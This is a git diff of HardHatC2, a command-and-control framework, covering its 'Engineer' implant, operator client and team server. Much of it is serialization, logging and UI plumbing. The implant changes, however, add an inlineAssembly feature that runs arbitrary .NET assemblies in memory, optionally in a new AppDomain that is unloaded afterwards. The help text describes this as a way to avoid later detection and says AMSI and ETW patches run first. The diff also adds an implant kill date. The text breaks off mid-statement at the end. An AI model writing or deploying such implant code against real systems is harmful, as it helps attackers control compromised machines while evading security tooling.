diff --git a/ApiModels/Requests/SpawnEngineerRequest.cs b/ApiModels/Requests/SpawnEngineerRequest.cs index bc375f6e..414d28bd 100644 --- a/ApiModels/Requests/SpawnEngineerRequest.cs +++ b/ApiModels/Requests/SpawnEngineerRequest.cs @@ -8,11 +8,16 @@ namespace ApiModels.Requests { public class SpawnEngineerRequest { + public DateTime? selectedKillDate { get; set; } + public TimeSpan? selectedKillTime { get; set; } + public string managerName { get; set; } public int ConnectionAttempts { get; set; } public int Sleep { get; set; } public string? WorkingHours { get; set; } - + + public DateTime KillDateTime { get; set; } + public bool EncodeShellcode { get; set; } public EngCompileType complieType { get; set; } diff --git a/Engineer/Commands/InlineAssembly.cs b/Engineer/Commands/InlineAssembly.cs index b7f4b6af..690953c9 100644 --- a/Engineer/Commands/InlineAssembly.cs +++ b/Engineer/Commands/InlineAssembly.cs @@ -36,76 +36,157 @@ public override async Task Execute(EngineerTask task) assemblyArgument = assemblyArgument.TrimStart(' '); assemblyArgument = assemblyArgument.TrimStart('\"'); assemblyArgument = assemblyArgument.TrimEnd('\"'); - - + string appDomainName = null; + string execMethod = ""; + bool execGiven = task.Arguments.TryGetValue("/execmethod", out execMethod); + if (execGiven) + { + bool appNameGiven = task.Arguments.TryGetValue("/appdomain", out string appname); + if (appNameGiven) + { + appDomainName = appname; + } + else + { + appDomainName = "mscorlib"; + } + } + else + { + appDomainName = "mscorlib"; + } + string output = ""; //set the console out and error to try and capture output from thread execution - var stdOut = Console.Out; - var stdErr = Console.Error; - var ms = new MemoryStream(); - - - // use Console.SetOut() to redirect the output to a string - StreamWriter writer = new StreamWriter(ms) { AutoFlush = true }; - - //get the current Processes Console and set the SetOut and SetError to the stream writer - Console.SetOut(writer); - Console.SetError(writer); + var currentout = Console.Out; + var currenterror = Console.Error; try { - // debase64 encode assembly string into a byte array byte[] assemblyBytes = task.File; - //make a new thread to run the assembly in and as it gets output from the assembly it will be written to the stream writer - Thread thread = new Thread(() => - { - //will block so needs its own thread - Assembly assembly = Assembly.Load(assemblyBytes); - assembly.EntryPoint.Invoke(null, new[] { $"{assemblyArgument}".Split() }); - }); - //start the thread - thread.Start(); - string output = ""; - //while the thread is running call Tasking.FillTaskResults to update the task results - while (thread.IsAlive) + if (execMethod != null && execMethod.Equals("UnloadDomain",StringComparison.CurrentCultureIgnoreCase)) { - //Console.WriteLine("thread is alive"); - //Console.WriteLine("filling task results"); - output = Encoding.UTF8.GetString(ms.ToArray()); - if (output.Length > 0) + var appDomainSetup = new AppDomainSetup { - //clear the memory stream - ms.Clear(); - Tasking.FillTaskResults(output, task, EngTaskStatus.Running, TaskResponseType.String); - output = ""; - } - if (task.cancelToken.IsCancellationRequested) + ApplicationBase = AppDomain.CurrentDomain.BaseDirectory + }; + output += $"[+] creating app domain {appDomainName}\n"; + var domain = AppDomain.CreateDomain(appDomainName, null, appDomainSetup); + var executor = (AssemblyExecutor)domain.CreateInstanceAndUnwrap(Assembly.GetExecutingAssembly().FullName, typeof(AssemblyExecutor).FullName); + output += executor.Execute(assemblyBytes, assemblyArgument.Split(), task, appDomainName); + output += "\n[*] trying to unload appdomain"; + AppDomain.Unload(domain); + output += "\n[+] app domain unloaded"; + } + else + { + using var ms = new MemoryStream(); + using var sw = new StreamWriter(ms) + { + AutoFlush = true + }; + + Console.SetOut(sw); + Console.SetError(sw); + //make a new thread to run the assembly in and as it gets output from the assembly it will be written to the stream writer + Thread thread = new Thread(() => + { + //will block so needs its own thread + Assembly assembly = Assembly.Load(assemblyBytes); + assembly.EntryPoint.Invoke(null, new[] { $"{assemblyArgument}".Split() }); + }); + + //start the thread + thread.Start(); + //while the thread is running call Tasking.FillTaskResults to update the task results + while (thread.IsAlive) { - Tasking.FillTaskResults("[-]Task Cancelled", task, EngTaskStatus.Cancelled, TaskResponseType.String); - thread.Abort(); - break; + output = Encoding.UTF8.GetString(ms.ToArray()); + if (output.Length > 0) + { + ms.Clear(); + Tasking.FillTaskResults(output, task, EngTaskStatus.Running, TaskResponseType.String); + output = ""; + } + if (task.cancelToken.IsCancellationRequested) + { + Tasking.FillTaskResults("[-]Task Cancelled", task, EngTaskStatus.Cancelled, TaskResponseType.String); + thread.Abort(); + break; + } + Thread.Sleep(10); } - Thread.Sleep(10); + //finish reading and set status to complete + output = Encoding.UTF8.GetString(ms.ToArray()); + ms.Clear(); + } - //finish reading and set status to complete - output = Encoding.UTF8.GetString(ms.ToArray()); - ms.Clear(); + Console.SetOut(currentout); + Console.SetError(currenterror); Tasking.FillTaskResults(output, task, EngTaskStatus.Complete, TaskResponseType.String); - } catch (Exception e) { - Tasking.FillTaskResults("error: " + e.Message, task, EngTaskStatus.Failed, TaskResponseType.String); + //Console.WriteLine(e.Message); + //Console.WriteLine(e.StackTrace); + Console.SetOut(currentout); + Console.SetError(currenterror); + Tasking.FillTaskResults($"{output} \n error: " + e.Message, task, EngTaskStatus.Failed, TaskResponseType.String); } - finally + } + } + + internal class AssemblyExecutor : MarshalByRefObject + { + public string Execute(byte[] asm, string[] arguments,EngineerTask task,string appdomainName) + { + + + using var ms = new MemoryStream(); + using var sw = new StreamWriter(ms) + { + AutoFlush = true + }; + + Console.SetOut(sw); + Console.SetError(sw); + + Thread thread = new Thread(() => + { + //will block so needs its own thread + Assembly assembly = Assembly.Load(asm); + assembly.EntryPoint.Invoke(null, new[] { arguments }); + }); + + //start the thread + thread.Start(); + string output = ""; + //while the thread is running call Tasking.FillTaskResults to update the task results + while (thread.IsAlive) { - //reset the console out and error - Console.SetOut(stdOut); - Console.SetError(stdErr); + Console.Out.Flush(); + Console.Error.Flush(); + output = Encoding.UTF8.GetString(ms.ToArray()); + if (output.Length > 0) + { + Tasking.FillTaskResults(output, task, EngTaskStatus.Running, TaskResponseType.String); + output = ""; + } + if (task.cancelToken.IsCancellationRequested) + { + Tasking.FillTaskResults("[-]Task Cancelled", task, EngTaskStatus.Cancelled, TaskResponseType.String); + thread.Abort(); + break; + } + Thread.Sleep(10); } - return; + //finish reading and set status to complete + Console.Out.Flush(); + Console.Error.Flush(); + output = Encoding.UTF8.GetString(ms.ToArray()); + return output; } } } diff --git a/Engineer/Engineer.csproj b/Engineer/Engineer.csproj index bbfd52a2..f4188842 100644 --- a/Engineer/Engineer.csproj +++ b/Engineer/Engineer.csproj @@ -183,6 +183,7 @@ + diff --git a/Engineer/Extra/Extensions.cs b/Engineer/Extra/Extensions.cs index 66c71387..029eea17 100644 --- a/Engineer/Extra/Extensions.cs +++ b/Engineer/Extra/Extensions.cs @@ -14,21 +14,6 @@ namespace Engineer { public static class Extensions { - public static IEnumerable GetseralTypes() - { - return new List() - { - typeof(EngineerCommand), - typeof(EngineerTask), - typeof(List), - typeof(EngineerTaskResult), - typeof(List), - typeof(EngineerMetadata), - typeof(List), - typeof(C2TaskMessage), - typeof(List), - }; - } public static byte[] JsonSerialize(this T data) { @@ -36,7 +21,22 @@ public static byte[] JsonSerialize(this T data) { JSONParameters jsonParameters = new JSONParameters(); jsonParameters.UseValuesOfEnums = true; - string json = JSON.ToJSON(data,jsonParameters); + jsonParameters.UseExtensions = false; + + object dataToSerialize; + + if (typeof(T) == typeof(string)) + { + dataToSerialize = new MessageData{ Message = (string)(object)data}; + } + else + { + dataToSerialize = data; + } + + string json = JSON.ToNiceJSON(dataToSerialize, jsonParameters); + //Console.WriteLine(json); + //write the json string to a memory stream and return the byte array using (MemoryStream ms = new MemoryStream()) { diff --git a/Engineer/Functions/Tasking.cs b/Engineer/Functions/Tasking.cs index fb42afa4..9b3be8f9 100644 --- a/Engineer/Functions/Tasking.cs +++ b/Engineer/Functions/Tasking.cs @@ -125,74 +125,75 @@ public static void FillTaskResults(object output, EngineerTask task,EngTaskStatu } engTaskResultDic[task.Id].Status = taskStatus; engTaskResultDic[task.Id].ResponseType = taskResponseType; - } - //if command is download then call the Functions.DownloadTracker.SplitFileString function, get the filename from the task.Arguments, and pass the result to the function - if (task.Command.Equals("download", StringComparison.CurrentCultureIgnoreCase)) - { - if (engTaskResultDic[task.Id].Status == EngTaskStatus.Complete) + + //if command is download then call the Functions.DownloadTracker.SplitFileString function, get the filename from the task.Arguments, and pass the result to the function + if (task.Command.Equals("download", StringComparison.CurrentCultureIgnoreCase)) { - task.Arguments.TryGetValue("/file", out string filename); - Functions.DownloadTracker.SplitFileString(filename, engTaskResultDic[task.Id].Result.JsonDeserialize()); - //send each value from the key that matches the filename variable in _downloadedFileParts to the server - foreach (var value in Functions.DownloadTracker._downloadedFileParts[filename]) + if (engTaskResultDic[task.Id].Status == EngTaskStatus.Complete) + { + task.Arguments.TryGetValue("/file", out string filename); + Functions.DownloadTracker.SplitFileString(filename, engTaskResultDic[task.Id].Result.JsonDeserialize()); + //send each value from the key that matches the filename variable in _downloadedFileParts to the server + foreach (var value in Functions.DownloadTracker._downloadedFileParts[filename]) + { + engTaskResultDic[task.Id].Result = value.JsonSerialize(); + SendTaskResult(engTaskResultDic[task.Id]); + } + } + else { - engTaskResultDic[task.Id].Result = value.JsonSerialize(); SendTaskResult(engTaskResultDic[task.Id]); } } + //if Command name is ConnectSocks, SendSocks, ReceiveSocks send a true for ishidden + else if (task.Command.Equals("socksConnect", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("socksSend", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("socksReceive", StringComparison.CurrentCultureIgnoreCase)) + { + engTaskResultDic[task.Id].IsHidden = true; + SendTaskResult(engTaskResultDic[task.Id]); + } + else if (task.Command.Equals("P2PFirstTimeCheckIn", StringComparison.CurrentCultureIgnoreCase)) + { + engTaskResultDic[task.Id].IsHidden = true; + SendTaskResult(engTaskResultDic[task.Id]); + } + else if (task.Command.Equals("CheckIn", StringComparison.CurrentCultureIgnoreCase)) + { + engTaskResultDic[task.Id].IsHidden = true; + SendTaskResult(engTaskResultDic[task.Id]); + } + else if (task.Command.Equals("rportsend", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("rportRecieve", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("rportforward", StringComparison.CurrentCultureIgnoreCase)) + { + engTaskResultDic[task.Id].IsHidden = true; + SendTaskResult(engTaskResultDic[task.Id]); + } + else if (task.Command.Equals("canceltask", StringComparison.CurrentCultureIgnoreCase)) + { + engTaskResultDic[task.Id].IsHidden = false; + SendTaskResult(engTaskResultDic[task.Id]); + } + else if (task.Command.Equals("UpdateTaskKey", StringComparison.CurrentCultureIgnoreCase)) + { + engTaskResultDic[task.Id].IsHidden = true; + SendTaskResult(engTaskResultDic[task.Id]); + } else { SendTaskResult(engTaskResultDic[task.Id]); } + if (engTaskResultDic[task.Id].Status != EngTaskStatus.Running) + { + //if task is not running then remove it from the dictionary to save memory + Thread.Sleep(100); + engTaskResultDic.TryRemove(task.Id, out _); + engTaskDic.TryRemove(task.Id, out _); + } } - //if Command name is ConnectSocks, SendSocks, ReceiveSocks send a true for ishidden - else if (task.Command.Equals("socksConnect", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("socksSend", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("socksReceive", StringComparison.CurrentCultureIgnoreCase)) - { - engTaskResultDic[task.Id].IsHidden = true; - SendTaskResult(engTaskResultDic[task.Id]); - } - else if (task.Command.Equals("P2PFirstTimeCheckIn", StringComparison.CurrentCultureIgnoreCase)) - { - engTaskResultDic[task.Id].IsHidden = true; - SendTaskResult(engTaskResultDic[task.Id]); - } - else if (task.Command.Equals("CheckIn", StringComparison.CurrentCultureIgnoreCase)) - { - engTaskResultDic[task.Id].IsHidden = true; - SendTaskResult(engTaskResultDic[task.Id]); - } - else if (task.Command.Equals("rportsend", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("rportRecieve", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("rportforward", StringComparison.CurrentCultureIgnoreCase)) - { - engTaskResultDic[task.Id].IsHidden = true; - SendTaskResult(engTaskResultDic[task.Id]); - } - else if(task.Command.Equals("canceltask",StringComparison.CurrentCultureIgnoreCase)) - { - engTaskResultDic[task.Id].IsHidden = false; - SendTaskResult(engTaskResultDic[task.Id]); - } - else if (task.Command.Equals("UpdateTaskKey", StringComparison.CurrentCultureIgnoreCase)) - { - engTaskResultDic[task.Id].IsHidden = true; - SendTaskResult(engTaskResultDic[task.Id]); - } - else - { - SendTaskResult(engTaskResultDic[task.Id]); - } - - if(engTaskResultDic[task.Id].Status != EngTaskStatus.Running) - { - //if task is not running then remove it from the dictionary to save memory - engTaskResultDic.TryRemove(task.Id, out _); - engTaskDic.TryRemove(task.Id, out _); - } - - } + + } catch (Exception e) { //Console.WriteLine(e.Message); - // Console.WriteLine(e.StackTrace); + //Console.WriteLine(e.StackTrace); } } diff --git a/Engineer/Models/CommModule.cs b/Engineer/Models/CommModule.cs index f51fbb20..177ca828 100644 --- a/Engineer/Models/CommModule.cs +++ b/Engineer/Models/CommModule.cs @@ -64,18 +64,18 @@ public bool RecvData(out IEnumerable tasks) public void SentData(EngineerTaskResult result) { - //if the result is already in the Outbound queue then append the result to the existing result and update the status - if (Outbound.Any(t => t.Id == result.Id)) - { - var existingResult = Outbound.FirstOrDefault(t => t.Id == result.Id); - existingResult.Result = existingResult.Result.Concat(result.Result).ToArray(); - existingResult.Status = result.Status; - } - else - { - Outbound.Enqueue(result); - } - } + //if the result is already in the Outbound queue then append the result to the existing result and update the status + if (Outbound.Any(t => t.Id == result.Id)) + { + var existingResult = Outbound.FirstOrDefault(t => t.Id == result.Id); + existingResult.Result = existingResult.Result.Concat(result.Result).ToArray(); + existingResult.Status = result.Status; + } + else + { + Outbound.Enqueue(result); + } + } public async Task P2PSent(byte[] tcpData) { diff --git a/Engineer/Models/MessageData.cs b/Engineer/Models/MessageData.cs new file mode 100644 index 00000000..6d85a369 --- /dev/null +++ b/Engineer/Models/MessageData.cs @@ -0,0 +1,13 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Engineer.Models +{ + internal class MessageData + { + public string Message { get; set; } + } +} diff --git a/Engineer/Program.cs b/Engineer/Program.cs index 1fd41f1d..a1b30d1a 100644 --- a/Engineer/Program.cs +++ b/Engineer/Program.cs @@ -41,6 +41,7 @@ public class Program public static SleepEnum.SleepTypes Sleeptype = Enum.TryParse("{{REPLACE_SLEEP_TYPE}}", out SleepEnum.SleepTypes sleeptype) ? sleeptype : SleepEnum.SleepTypes.None; public static DateTime LastP2PCheckIn = DateTime.Now; public static string ImplantType = "{{REPLACE_IMPLANT_TYPE}}"; + public static DateTime killDate = DateTime.TryParse("{{REPLACE_KILL_DATE}}", out killDate) ? killDate : DateTime.MaxValue; public static async Task Main(string[] args) { @@ -116,6 +117,11 @@ public static async Task Main(string[] args) { try { + if(DateTime.UtcNow > killDate) + { + _tokenSource.Cancel(); + break; + } if (ImpersonatedUserChanged) { ImpersonatedUser.Impersonate(); diff --git a/HardHatC2Client/Models/TaskResultTypes/MessageData.cs b/HardHatC2Client/Models/TaskResultTypes/MessageData.cs new file mode 100644 index 00000000..9b9000b2 --- /dev/null +++ b/HardHatC2Client/Models/TaskResultTypes/MessageData.cs @@ -0,0 +1,8 @@ +namespace HardHatC2Client.Models.TaskResultTypes +{ + public class MessageData + { + //just a string but this lets me have it as valid json data of Message:stringValue for deseralization + public string Message { get; set; } + } +} diff --git a/HardHatC2Client/Pages/Engineers.razor b/HardHatC2Client/Pages/Engineers.razor index 4b42e8d9..4d94d9df 100644 --- a/HardHatC2Client/Pages/Engineers.razor +++ b/HardHatC2Client/Pages/Engineers.razor @@ -131,7 +131,7 @@ - +

Create New Engineer


@@ -145,7 +145,11 @@ - +
+ + +
+ @* *@ @@ -309,11 +313,10 @@ private static Stopwatch stopwatch = new Stopwatch(); private static bool IsCurrentLocation { get; set; } public static bool HideOfflineEngineers { get; set; } - public delegate void OnStateChangeDelegate(); + public delegate Task OnStateChangeDelegate(); public static OnStateChangeDelegate OnStateChange; private static DateTime? LastRefresh { get; set; } = null; private string searchString1 = ""; - private bool OpenDialog { get; set; } = false; private Dictionary ColumnVisibility = new Dictionary { @@ -384,7 +387,7 @@ ColumnVisibility[columnName] = !ColumnVisibility[columnName]; } } - + private string GetCellStyle(string columnName) { if (ColumnVisibility.ContainsKey(columnName) && ColumnVisibility[columnName]) @@ -569,14 +572,16 @@ { string resource = "/engineers"; var createObject = new SpawnEngineerRequest - { - managerName = formData.managerName, - ConnectionAttempts = formData.ConnectionAttempts, - Sleep = formData.Sleep, - complieType = formData.complieType, - WorkingHours = formData.WorkingHours, - SleepType = formData.SleepType, - }; + { + managerName = formData.managerName, + ConnectionAttempts = formData.ConnectionAttempts, + Sleep = formData.Sleep, + complieType = formData.complieType, + WorkingHours = formData.WorkingHours, + SleepType = formData.SleepType, + KillDateTime = (DateTime)(formData.selectedKillDate.Value.Date + formData.selectedKillTime), + }; + var request = new RestRequest(resource,Method.Post); request.AddJsonBody(createObject); ShowInfoToast("Sending Request To Create Engineer"); @@ -590,8 +595,8 @@ ShowSuccessToast(requestResponse); } //reset the form data object - // formData = new SpawnEngineerRequest(); - // OnStateChange(); + formData = new SpawnEngineerRequest(); + await OnStateChange(); } public static async Task GetAllEngineers() @@ -781,7 +786,7 @@ } - public void ImplementOnStateChangeEvent() + public async Task ImplementOnStateChangeEvent() { if (LastRefresh == null) { @@ -794,7 +799,8 @@ if (DateTime.Now.Subtract(LastRefresh.Value).TotalMilliseconds > 500) { LastRefresh = DateTime.Now; - InvokeAsync(StateHasChanged); + await Task.Delay(100); + await InvokeAsync(StateHasChanged); } } } diff --git a/HardHatC2Client/Pages/Interact.razor b/HardHatC2Client/Pages/Interact.razor index d8afc703..80e86a1b 100644 --- a/HardHatC2Client/Pages/Interact.razor +++ b/HardHatC2Client/Pages/Interact.razor @@ -184,14 +184,7 @@ else { var output = TaskOutputDic[currenttask].Result as string; - // Unescape the string before splitting - string unescapedOutput = Regex.Unescape(output); - var lines = unescapedOutput.Split(Environment.NewLine, StringSplitOptions.None); - // Using a loop - foreach (var line in lines) - { - @CleanString(line) - } + @output } } else @@ -527,6 +520,10 @@ { return Icons.Filled.Warning; } + else if (TaskStatusDic[currenttask] == EngineerTaskResponse.EngTaskStatus.CompleteWithErrors) + { + return Icons.Filled.CheckCircle; + } else { return Icons.Filled.Info; @@ -558,6 +555,10 @@ { return Color.Warning; } + else if (TaskStatusDic[currenttask] == EngineerTaskResponse.EngTaskStatus.CompleteWithErrors) + { + return Color.Warning; + } else { return Color.Info; @@ -1010,7 +1011,7 @@ taskResult = new EngineerTaskResult { Id = taskid, - Result = requestResponse.Result.Deserialize(), + Result = requestResponse.Result.Deserialize()?.Message.RemoveDoubleEmptyLines() ?? string.Empty, // should help to ensure when only a string comes back it is still formatted like true json. status = (EngineerTaskResult.EngTaskStatus)requestResponse.status, ResponseType = (EngineerTaskResult.TaskResponseType)requestResponse.ResponseType, }; @@ -1042,6 +1043,8 @@ break; } + + if(!EngineerReturnedTaskIds.ContainsKey(engineerId)) { EngineerReturnedTaskIds.Add(engineerId, new List()); @@ -1062,6 +1065,21 @@ { await OnStateChange(); } + //if inputDic shows command name is seatbelt call the ParseAndStoreCommandOutput if command status is complete + if (TaskInputDic.ContainsKey(taskid)) + { + bool containsSeatbelt = TaskInputDic[taskid].Arguments.Values.Any(value => value.Contains("seatbelt")); + if (containsSeatbelt) + { + if (TaskStatusDic[taskid] == EngineerTaskResponse.EngTaskStatus.Complete) + { + //call the ParseAndStoreCommandOutput method + //split on all the newline chars + string[] parseReult = taskResult.Result.ToString().Split(new[] { Environment.NewLine }, StringSplitOptions.None); + await ParseAndStoreCommandOutput(parseReult, "seatbelt", taskid, engineerId); + } + } + } return taskResult; } return null; @@ -1116,15 +1134,15 @@ //List commandKeys = new(); //take each key and value from the commandOutput and join them into a string seperatted by || then add that string to the ParsedCommandOutput list //get the engineer object with the matching id and return its hostname - var engineer = InteractEngineers.Where(s => s.Id == engineerID).FirstOrDefault(); + var engineer = Engineers.EngineerList.Where(s => s.Id == engineerID).FirstOrDefault(); string hostname = engineer.Hostname; string username = engineer.Username; foreach(KeyValuePair kvp in commandOutput) { ParsedCommandOutput.Add($"{kvp.Key}||{kvp.Value}"); //commandKeys.Add(kvp.Key); - string entityName = ReconCenter.DetermineEntity(new Dictionary{ { "Hostname", hostname },{ "Username", username } }, CommandName, kvp.Key); - await ReconCenter.AddAutoParsedCommandEntry(entityName, kvp.Key,kvp.Value,CommandName,hostname); + //string entityName = ReconCenter.DetermineEntity(new Dictionary{ { "Hostname", hostname },{ "Username", username } }, CommandName, kvp.Key); + //await ReconCenter.AddAutoParsedCommandEntry(entityName, kvp.Key,kvp.Value,CommandName,hostname); } ParsedCommandOutputDic.Add(taskid, ParsedCommandOutput); } diff --git a/HardHatC2Client/Utilities/CommandValidation.cs b/HardHatC2Client/Utilities/CommandValidation.cs index 348cc8da..ab59e413 100644 --- a/HardHatC2Client/Utilities/CommandValidation.cs +++ b/HardHatC2Client/Utilities/CommandValidation.cs @@ -167,7 +167,7 @@ public static bool ValidateCommand(string input, out Dictionary a new CommandItem() { Name = "inlineAssembly", - Keys = {{"/file",true},{"/args",false},} + Keys = {{"/file",true},{"/args",false}, {"/execmethod",false }, {"/appdomain",false },} }, new CommandItem() { diff --git a/HardHatC2Client/Utilities/Help.cs b/HardHatC2Client/Utilities/Help.cs index a25c970d..f0660fba 100644 --- a/HardHatC2Client/Utilities/Help.cs +++ b/HardHatC2Client/Utilities/Help.cs @@ -241,12 +241,12 @@ public enum OpsecStatus { Name = "inlineAssembly", Description = "runs the target assembly in memory with the supplied arguments", - Usage = "inlineAssembly /file value /args value", + Usage = "inlineAssembly /file value /args value /execmethod OptionalValue /appdomain OptionalValue", NeedsAdmin = false, Opsec = OpsecStatus.NotSet, MitreTechnique = "", Details = "reads the assembly off disk from the teamserver and sends it to the engineer and runs it with the supplied arguments in memory, uses an amsi_patch and etw_patch before running the assembly", - Keys = "/file - the location of the assembly to run, /args - the arguments to pass to the assembly" + Keys = "/file - the location of the assembly to run \n /args - the arguments to pass to the assembly \n /execmethod - valid options are UnloadDomain or classic \n (UnloadDomain creates a new app domain then unloads it, can cause issues, classic just loads the assembly in the current appdomain but that means it can be seen later) \n /appdomain the name of the appdomain default is mscorlib" }, new HelpMenuItem() { diff --git a/HardHatC2Client/Utilities/HelperFunctions.cs b/HardHatC2Client/Utilities/HelperFunctions.cs new file mode 100644 index 00000000..e21637ed --- /dev/null +++ b/HardHatC2Client/Utilities/HelperFunctions.cs @@ -0,0 +1,20 @@ +using System.Text.RegularExpressions; + +namespace HardHatC2Client.Utilities +{ + public static class HelperFunctions + { + + /// + /// Cleans empty lines from the top and bottom of data and reduces consecutive empty lines down to one line. + /// + /// + /// The update string with fixed whitespace + public static string RemoveDoubleEmptyLines(this string input) + { + string pattern = @"(?<=\S)\n{2,}(?=\S)"; + string replacement = "\n"; + return Regex.Replace(input, pattern, replacement); + } + } +} diff --git a/HardHatC2Client/Utilities/Serilization.cs b/HardHatC2Client/Utilities/Serilization.cs index c0064bf8..b784d82d 100644 --- a/HardHatC2Client/Utilities/Serilization.cs +++ b/HardHatC2Client/Utilities/Serilization.cs @@ -35,37 +35,72 @@ public static byte[] Serialise(this T data) public static T Deserialize(this byte[] data) { string json = null; + StringBuilder concatenatedMessages = new StringBuilder(); try { json = Encoding.UTF8.GetString(data); if (data.Length > 0) { - if (IsValidJson(json)) + if (typeof(T) == typeof(MessageData)) { - JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions(); - jsonSerializerOptions.AllowTrailingCommas = true; - return JsonSerializer.Deserialize(json, jsonSerializerOptions); - } - else if (typeof(T) == typeof(string)) - { - json.Trim('"'); - return (T)(object)json; + if (IsValidJson(json)) + { + JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions(); + jsonSerializerOptions.AllowTrailingCommas = true; + var deserializedObject = JsonSerializer.Deserialize(json, jsonSerializerOptions); + return deserializedObject; + } + else + { + // Split the input string by '}' + string[] jsonParts = json.Split(new[] { '}' }, StringSplitOptions.RemoveEmptyEntries); + + foreach (var part in jsonParts) + { + string cleanedJson = part.Trim() + "}"; + if (IsValidJson(cleanedJson)) + { + JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions(); + jsonSerializerOptions.AllowTrailingCommas = true; + var deserializedObject = JsonSerializer.Deserialize(cleanedJson, jsonSerializerOptions); + if (deserializedObject is MessageData messageData) + { + concatenatedMessages.Append(messageData.Message); + } + } + else if (typeof(T) == typeof(string)) + { + concatenatedMessages.Append(cleanedJson); + } + else + { + Console.WriteLine("Input data is not a valid JSON & is not a normal string, returning default value"); + return default(T); + } + } + return (T)(object)new MessageData() { Message = concatenatedMessages.ToString() }; + } } else { - Console.WriteLine("Input data is not a valid JSON & is not a normal string, returning default value"); - return default(T); + if (IsValidJson(json)) + { + JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions(); + jsonSerializerOptions.AllowTrailingCommas = true; + var deserializedObject = JsonSerializer.Deserialize(json, jsonSerializerOptions); + return deserializedObject; + } + else + { + return default(T); + } } } - else - { - return default(T); - } - + return default(T); } catch (Exception ex) { - Console.WriteLine(json); + //Console.WriteLine(json); Console.WriteLine(ex.Message); Console.WriteLine(ex.StackTrace); return default(T); diff --git a/TeamServer/Controllers/EngineersController.cs b/TeamServer/Controllers/EngineersController.cs index d8ba4075..93807c0d 100644 --- a/TeamServer/Controllers/EngineersController.cs +++ b/TeamServer/Controllers/EngineersController.cs @@ -249,6 +249,8 @@ public IActionResult CreateEngineer([FromBody] SpawnEngineerRequest request) file = file.Replace("{{REPLACE_UNIQUE_TASK_KEY}}", Encryption.UniversalTaskEncryptionKey); + file = file.Replace("{{REPLACE_KILL_DATE}}", request.KillDateTime.ToString()); + if(request.implantType == SpawnEngineerRequest.ImplantType.Engineer) { Console.WriteLine("Implant is an engineer"); diff --git a/TeamServer/Models/Engineers/TaskResultTypes/MessageData.cs b/TeamServer/Models/Engineers/TaskResultTypes/MessageData.cs new file mode 100644 index 00000000..576222ca --- /dev/null +++ b/TeamServer/Models/Engineers/TaskResultTypes/MessageData.cs @@ -0,0 +1,8 @@ +namespace TeamServer.Models.Engineers.TaskResultTypes +{ + public class MessageData + { + //just a string but this lets me have it as valid json data of Message:stringValue for deseralization + public string Message { get; set; } + } +} diff --git a/TeamServer/Services/Handle_Implants/Handle_Engineer.cs b/TeamServer/Services/Handle_Implants/Handle_Engineer.cs index 6ef32b3d..3d9a1d44 100644 --- a/TeamServer/Services/Handle_Implants/Handle_Engineer.cs +++ b/TeamServer/Services/Handle_Implants/Handle_Engineer.cs @@ -10,6 +10,7 @@ using TeamServer.Controllers; using TeamServer.Models; using TeamServer.Models.Dbstorage; +using TeamServer.Models.Engineers.TaskResultTypes; using TeamServer.Models.Extras; using TeamServer.Utilities; using EngTaskStatus = TeamServer.Models.EngTaskStatus; @@ -175,8 +176,9 @@ public async Task HandleEngineerAsync(EngineerMetadata engineerme // we build a list of engineer ids because some tasks can be from P2P implants and should go to tright place later List engIds = new List(); foreach (var result in results) - { - if (!engIds.Contains(result.EngineerId)) + { + + if (!engIds.Contains(result.EngineerId)) { engIds.Add(result.EngineerId); } @@ -294,7 +296,7 @@ public async Task HandleEngineerAsync(EngineerMetadata engineerme { DatabaseService.AsyncConnection.InsertAsync((EngineerTaskResult_DAO)result); HardHatHub.AlertEventHistory(new HistoryEvent() { Event = $"Got response for task {result.Id}", Status = "Success" }); - string ResultValue = result.Result.Deserialize(); + string ResultValue = result.Result.Deserialize()?.Message ?? string.Empty; LoggingService.TaskLogger.ForContext("Task", result, true).ForContext("Task Result",ResultValue).Information($"Got response for task {result.Id}"); } } diff --git a/TeamServer/Services/HardHatHub.cs b/TeamServer/Services/HardHatHub.cs index 31032721..bf1b1560 100644 --- a/TeamServer/Services/HardHatHub.cs +++ b/TeamServer/Services/HardHatHub.cs @@ -149,7 +149,12 @@ public async Task CreateReconCenterProperty(string entityName, ReconCent { DatabaseService.ConnectDb(); } - ReconCenterEntity_DAO entityToUpdate = DatabaseService.AsyncConnection.Table().Where(x => x.Name == entityName).ToListAsync().Result[0]; + //var tempList = DatabaseService.AsyncConnection.Table().Where(x => x.Name == entityName).ToListAsync(); + //foreach (var item in tempList.Result) + //{ + // Console.WriteLine(item.Name); + //} + ReconCenterEntity_DAO entityToUpdate = DatabaseService.AsyncConnection.Table().Where(x => x.Name == entityName).ToListAsync().Result.FirstOrDefault(); //we do this so the list can grow otherwise we would only be able to store one property in the database List entitiesProperties = entityToUpdate.Properties.ProDeserializeForDatabase>(); entitiesProperties.Add(reconCenterProperty); diff --git a/TeamServer/Services/LoggingService.cs b/TeamServer/Services/LoggingService.cs index 98a948d7..40b003b1 100644 --- a/TeamServer/Services/LoggingService.cs +++ b/TeamServer/Services/LoggingService.cs @@ -1,15 +1,23 @@ using Microsoft.AspNetCore.Routing.Constraints; +using Microsoft.AspNetCore.Routing.Template; using Newtonsoft.Json.Linq; +using Newtonsoft.Json; using Serilog; using Serilog.Core; using Serilog.Events; using Serilog.Expressions; +using Serilog.Formatting; using Serilog.Formatting.Json; using Serilog.Templates; +using Serilog.Parsing; using System; using System.IO; using System.Reflection; +using System.Text.Json; using TeamServer.Services.Extra; +using System.Text; +using Serilog.Sinks.File; +using Microsoft.Extensions.Logging; namespace TeamServer.Services { @@ -38,12 +46,17 @@ public static void Init() logDirectory = Directory.CreateDirectory(pathSplit[0] + "logs"); } LogFolderPath = pathSplit[0] + "logs"; - EventLogger = new LoggerConfiguration().WriteTo.File(new ExpressionTemplate( - "{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions 